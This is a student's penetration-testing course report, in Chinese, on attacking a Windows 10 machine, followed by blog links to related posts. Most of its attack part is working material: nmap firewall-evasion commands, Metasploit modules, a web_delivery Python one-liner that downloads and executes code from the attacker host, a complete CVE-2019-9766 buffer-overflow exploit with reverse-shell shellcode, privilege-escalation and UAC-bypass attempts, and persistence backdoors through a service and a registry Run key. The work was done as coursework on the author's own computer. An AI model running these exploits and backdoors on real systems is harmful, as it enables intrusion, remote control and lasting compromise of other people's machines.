20165230田坤烨网络对抗免考报告_基于WIN10的渗透攻击
简单信息收集
主机发现
ping
通过ping 命令发送ICMP报文的方法检测WIN10主机是否在线
能收到回复包,证明主机在线,并能相互通信
nmap
nmap -sn
- 用来探测活跃主机
这个命令会发送arp请求包探测目标ip是否在线,如果有arp回复包,则说明在线。此命令可以探测目标主机是否在线,如果在线,还可以得到其MAC地址。但是不会探测其开放的端口号。
端口扫描
nmap
nmap -sS
TCP SYN 扫描(-sS)
这是Nmap默认的扫描方式,通常被称作半开放扫描。该方式发送SYN到目标端口,如果收到SYN/ACK回复,那么可以判断端口是开放的;如果收到RST包,说明该端口是关闭的。如果没有收到回复,那么可以判断该端口被屏蔽了。因为该方式仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。
结果显示为filtered,nmap不能够决定端口的开放状态,这主要是由于网络或者主机安装了一些防火墙所导致的。当nmap收到icmp报文主机不可达报文或者目标主机无应答,常常会将目标主机的状态设置为filtered。
把防火墙关闭试一下,可以看见主机开启的端口有135/139/443/445/902/912
OS及服务版本探测
nmap -sV
- 通过
nmap -sV 192.168.43.38
扫描物理机,-sV是参数,命令nmap对目标进行端口对应相关应用程序进行扫描
绕过防火墙尝试
诱饵
这种类型的扫描是非常隐蔽且无法察觉。目标由多个假冒或伪造IP地址进行扫描。这样防火墙就会认为攻击或扫描是通过多个资源或IP地址进行,于是就绕过了防火墙。
这实际上在目标看来是由多个系统同时扫描,这使得防火墙更难追查扫描的来源。
- 通过
nmap –D decoy1,decoy2,decoy3 target
来尝试欺骗防火墙
随机数据长度
附加随机数据长度,我们也可以绕过防火墙。许多防火墙通过检查数据包的大小来识别潜伏中的端口扫描。这是因为许多扫描器会发送具有特定大小的数据包。为了躲避那种检测,我们可以使用命令–data-length增加额外的数据,以便与默认大小不同。在下图中,我们通过加入25多个字节改变数据包大小。
- 通过
nmap --data-length 25 192.168.43.38
命令进行随机数据长度尝试
随机顺序扫描目标
选项–randomize-host用于随机 顺序扫描指定目标。–randomize-host有助于防止因连续 扫描多个目标而防火墙和入侵检测系统检测到。
- 通过
nmap --randomize-hosts 192.168.43.38
MAC地址欺骗
每台机器都有自己独特的mac地址。因此这也是绕过防火墙的另一种方法,因为某些防火墙是基于MAC地址启用规则的。为了获得扫描结果,需要先了解哪些MAC地址可以使用。这可以通过手动或先进的模糊测试完成。
特别是–spoof-MAC选项能够从一个特定的供应商选择一个MAC地址,选择一个随机的MAC地址,或者设定您所选择的特定MAC地址。 MAC地址欺骗的另一个优点是,让扫描隐蔽,实际MAC地址就不会出现在防火墙的日志文件。
- 通过
nmap -sT -PN –spoof-mac aa:bb:cc:dd:ee:ff target
命令
实现win10的渗透攻击
CVE-2017-0199(失败)
漏洞原理
- 该漏洞利用OFFICE OLE对象链接技术,将包裹的恶意链接对象嵌在文档中,OFFICE调用URL Moniker(COM对象)将恶意链接指向的HTA文件下载到本地, 当用户打开包含嵌入式漏洞的文档时,winword.exe 会向远程服务器发出 HTTP 请求,以检索恶意 HTA 文件,服务器返回的文件时一个带有嵌入式恶意脚本的假 RTF 文件,winword.exe 通过 COM 对象查找 application/hta 的文件处理程序,这会导致 Microsoft HTA 应用程序(mshta.exe),加载恶意攻击者下载并执行包含 PowerShell 命令的 Visual Basic 脚本。
实现过程
- 下载cve-2017-0199.rtf:
git clone https://github.com/bhdresh/CVE-2017-0199.git
- 此命令将运行一个python脚本来生成富文本格式的有效载荷,其中-M用于生成rtf文件,-w用于生成rtf文件的名称,即sales.rtf, -u为攻击者的IP地址或域名。
cd CVE-2017-0199
python cve-2017-0199_toolkit.py -M gen -w exploit.rtf -u http://192.168.1.24/raj.doc
- exploit.rtf放到win10靶机中
在我们将这个文件发送给被攻击者之前,我们需要将它嵌套到任何后门文件中,以便我们可以建立与被攻击者的反向连接。 - 进入msfconsole执行监听:
msf> use multi/handler
msf exploit(handler )> set payload windows/meterpreter/reverse_tcp
msf exploit(handler )> set lhost 192.168.43.14
msf exploit(handler )> set lport 5230
msf exploit(handler )> exploit
- 失败
EasyFileSharing模块(失败)
攻击过程
search 具体EasyFileSharing模块
具体操作
use exploit/windows/http/easyfilesharing_post
show options
set lhost 192.168.43.14
set lport 5230
set rhosts 192.168.43.38
set rport 80
exploit
- 失败
msf web_delivery模块攻击(成功)
攻击原理
- 此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口内的文件读取至本地执行(把webshell放在该端口下刚刚好)
- 有两种利用方式:
- 1.命令注入漏洞:
在命令行注入:生成的命令 - 2.远程文件包含漏洞:
在包含漏洞处包含:生成的网址
- 1.命令注入漏洞:
攻击过程
search web_delivery
具体过程
use exploit/multi/script/web_delivery
show options
set lhost 192.168.43.14
set lport 5230
exploit
- 可以看见生成payload:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.43.14:8080/3ztfplpmKzCmFI');exec(r.read());"
- 复制payload到Win10上面运行
- 返回kali攻击机,已经反弹回了一个session
- 输入命令sessions -i 3进入,成功获取了目标机
CVE-2019-9766(成功)
漏洞原理
- Free MP3 CD Ripper是一款音频格式转换器。Free MP3 CD Ripper 2.6版本中存在栈缓冲区溢出漏洞。远程攻击者可借助特制的.mp3文件利用该漏洞执行任意代码
攻击过程
靶机:Win10
利用msf生成反向连接的shellcode,
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.19.129 lport=7230 -f c --smallest
- 替换脚本中的shellcode.
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x13\x81"
buf += "\x68\x02\x00\x1c\x3e\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf) )
payload = buffer + NSEH + SEH + nops + buf +pad
try:
f=open("TestFMCR.mp3","w")
print "[+] Creating %s bytes mp3 File..." %len(payload)
f.write(payload)
f.close()
print "[+] mp3 File created successfully!"
except:
print "File cannot be created!"
原理解释
关键代码:填充+nseh+seh+nop+shellcode
填充:数据覆盖直到函数返回地址
nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6 nop nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode
seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。
2.运行脚本,生成恶意mp3文件,python FmcrExploit.py
3.移动恶意文件到靶机windows10上
4.打开msf并设置监听
在主机上打开Free MP3 CD Ripper软件
回连成功!
进行提权
普通提权
- 获取会话后通过命令
getsystem
进行提权,显示没有权限
利用系统漏洞
- 可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。
ms16_032
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set lport 5230
set session 3
exploit
- 失败
powerup命令行提权
- 通常,在Windows下面我们可以通过内核漏洞来提升权限,但是,我们常常会碰到所处服务器通过内核漏洞提权是行不通的,这个时候,我们就需要通过脆弱的Windows服务提权,比如我们替换掉服务所依赖的DLL文件,当服务重启时,加载我们替换的DLL文件从而完成比如添加管理员账号的操作。或者通过常见的Mssql,Mysql等服务,通过其继承的系统权限来完成提权等等,使用Powershell框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。
- 首先需要下载此脚本:Powerup,之后加载此脚本:
powershell.exe -nop -exec bypass
Import-Module .\powerup.psm1
- 加载完成以后,便可以使用Powerup中的所有模块,通过如下命令可以查看所有模块:
Get-Command -Module powerup
- 首先添加低权限测试账号,使用管理员身份运行cmd,添加测试账号:
C:\Windows\system32>net user powerup 1 /add
- 执行Invoke-AllChecks:
PS C:\> Invoke-AllChecks
绕过UAC进行提权
查看bypassuac的模块
(1)首先需要在meterpreter下执行background命令让当前会话保存到后台。
(2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。
(3)主要使用三个模块
- exploit/windows/local/bypassuac
- exploit/windows/local/bypassuac_injection_winsxs
- exploit/windows/local/bypassuac_sluihijack
- 一个一个的尝试,具体过程如下
msf > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
msf exploit(bypassuac) > exploit
- 失败1。。。。
- 失败2。。。
- 失败3.。。。。
后门
- Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
metsvc
(1)run metsvc
(2)命令运行成功后会在C:WindowsTEMP目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
persistence
使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项(1)生成后门
命令:run persistence -X -i 1 -p 5230 -r 192.168.43.14
查看其修改的键值
(2)连接后门
使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。
下次重启电脑时,可以保持会话
心得体会
- 这次实践的靶机用了自己的win10电脑,每一次尝试攻击都让我觉得心惊胆战,中途360报了好几次中了木马,我还不敢隔离,害怕自己之前做出的成果被删,导致无法分析。期间遇到了很多问题,去网上听了很多渗透测试分析课,也看了无数篇资料,当看到kali里返回了win10的shell的时候,心里真的很满足!
- 先从信息收集开始,如果靶机开了防火墙,基本nmap的所有命令都无法获得有效的信息。于是尝试很多方法去实现绕过防火墙的信息收集,但简单的nmap命令还是没能成功,需要借助其他的工具来帮助绕过。然后是对win10实现渗透攻击,中途尝试了很多CVE漏洞,很多win10都已经补上了补丁,还有一些经过了版本更新,最终找到了一个MP3软件的缓冲区溢出漏洞和一个msf中的下载模块,获得shell的时候360没有报出有木马,mp3文件也没有被删除,可以达到免杀的目的。在获取shell的基础上,还想要进行更多的操作,进行后渗透攻击,如提权和再次使用exploit获取权限,需要持久的后门对目标进行控制。提权的过程中也遇到了很多问题,尝试了很多方法,找了很多提权漏洞,有很多漏洞是作为一个独立的步骤进行攻击,但不是在获得win10shell的基础上通过一系列指令而达到提权的目的,而通过一系列的命令来实现提权又难以实现,需要在这个课题上进一步的进行研究和尝试。安装后门的过程比较顺利,可以维持访问,但被360发现系统自启动项键值被修改,这一步没有实现免杀。
- 通过完整的渗透测试,让我对网络攻防有了更加深入的理解和掌握。整个过程就是在理清思路的基础上不断的尝试新的方法,达到自己的目的。学习的方法就在于此,每一次学习都应该先理清思路,重要的不是跟着步骤一步一步做完,而是知道要做什么,为什么要这样做,这样做会有什么结果,以及还有什么别的方法可以得到同样的结果。在这个过程也提高了发现问题,分析问题和解决问题的能力。
- 网络安全是一个很大的课题,每一年都有成千上万个系统漏洞被白帽子们发现,被黑客攻击,被不法分子利用,如今我所掌握的知识都只是一点皮毛,要想真正做到会攻击也会防攻击,还需要走很长很长的路。在此谢谢老师对我课题的指导和帮助,我将在以后的学习中进一步的研究和尝试,不断完善自己不断提高自己。
20165230田坤烨网络对抗免考报告_基于WIN10的渗透攻击的更多相关文章
- 20165230田坤烨网络对抗免考报告_Windows系统提权
目录 KERNEL EXPLOITATION 服务攻击: DLL劫持 攻击 不安全的服务权限 探测 unquoted path未被引号标记的路径 探测 攻击 服务注册表键 探测 攻击 Named Pi ...
- 20145329 《网络对抗技术》客户端Adobe阅读器渗透攻击
两台虚拟机: kali ip:192.168.96.130 windows xp sp3 ip:192.168.96.133 1.kali下打开显示隐藏文件 2.在kali终端中开启msfconsol ...
- 20145327《网络对抗》——注入shellcode并执行和Return-to-libc攻击深入
20145327<网络对抗>--注入shellcode并执行 准备一段Shellcode 老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68 ...
- 20165230田坤烨《网络对抗》Exp1 PC平台逆向破解
实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShe ...
- 20145202马超《网络对抗》Exp9*_* Web安全基础实践
本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 1.实验后回答问题 (1)SQL注入攻击原理,如何防御 感觉上次做的也是sql注入,就是故意的非法输入(输入的是一些指令)让 ...
- 2018-2019-2 《网络对抗技术》Exp0 Kali安装 20165230
2018-2019-2 <网络对抗技术>Exp0 Kali安装 20165230 一.下载kali 下载地址 下载Kali Linux 64 bit VMware VM版本 下载vmwar ...
- 20145208 蔡野 《网络对抗》免考项目 MSF学习
20145208 蔡野 <网络对抗>免考项目 MSF Exploit模块开发 题目:MSF Exploit模块开发 摘要 本免考项目的目标是通过对msf模块的设计语言--ruby和expl ...
- 2018-2019-2 网络对抗技术 20165230 Exp4 恶意代码分析
目录 1.实验内容 2.实验过程 任务一:系统运行监控 每隔五分钟记录自己的电脑,并进行分析 安装配置sysinternals里的sysmon工具 任务二:恶意软件分析 静态分析工具 ViruScan ...
- 网络对抗实验一 逆向及Bof基础实践
网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...
随机推荐
- WPF 精修篇 倾斜 SkewTransform
原文:WPF 精修篇 倾斜 SkewTransform 倾斜 SkewTransform AngleX 倾斜X角度 AngleY 倾斜Y角度 CenterX CenterY 中心点 <Stack ...
- STM32最小系统设计
STM32最小系统设计 概述 最近在在设计一块板子的时候发现在设计STM32电路这部分时,有些东西模棱两可.本着科学严谨的态度,本着对工作负责的态度(板子设计坏了都是money!),这里对STM32最 ...
- 输入www.baidu.com会发生什么
1. 浏览器接收域名 2. 发送域名给DNS,请求解析出www.baidu.com的IP地址 中文名字是域名系统服务器,一般位于ISP(互联网服务提供商,比如我们熟知的联通.移动.电信等) 中.浏览器 ...
- PIE SDK内存矢量数据的创建
1.功能简介 GIS将地理空间数据表示为矢量数据和栅格数据.矢量数据模型使用点.线和多边形来表示具有清晰空间位置和边界的空间要素,如控制点.河流和宗地等,每个要素被赋予一个ID,以便与其属性相关联.栅 ...
- 【转载】Gradle学习 第一章:引言
转载地址:http://ask.android-studio.org/?/article/7 We would like to introduce Gradle to you, a build sys ...
- VUE+ElementUI 搭建后台项目(一)
前言 之前有些过移动端的项目搭建的文章,感觉不写个pc端管理系统老感觉少了点什么,最近公司项目比较多,恰巧要做一个申报系统的后台管理系统,鉴于对vue技术栈比较熟悉,所以考虑还是使用vue技术栈来做: ...
- python之pip安装软件包常用命令
# pip版本号查询 pip -V # 安装软件包.格式:pip install 软件包名 pip install pygame # 安装指定版本号的软件包.格式:pip install 软件包==软 ...
- Wordpress 设置中文语言包
从官方安装的是英文版的,想要切换成中文语言包 1.修改项目目录下面的wp-config文件: 添加define(‘WPLANG’, ‘zh_CN’); 保存文件 2.进入站点控制板(dashboard ...
- UNITY Serializer 序列化 横向对比
UNITY Serializer 序列化 横向对比 关于序列化,无论是.net还是unity自身都提供了一定保障.然而人总是吃着碗里想着锅里,跑去github挖个宝是常有的事.看看各家大佬的本事.最有 ...
- Android端项目测试
目录 一.概述 二.使用工具 三.测试 1.测试主要的两大功能 进入主界面,测试排行榜查看功能是否能运行 测试83端口打卡能否运行 修改个人信息已经注册功能 2.测试参数是否正确 3.测试刷新能否使用 ...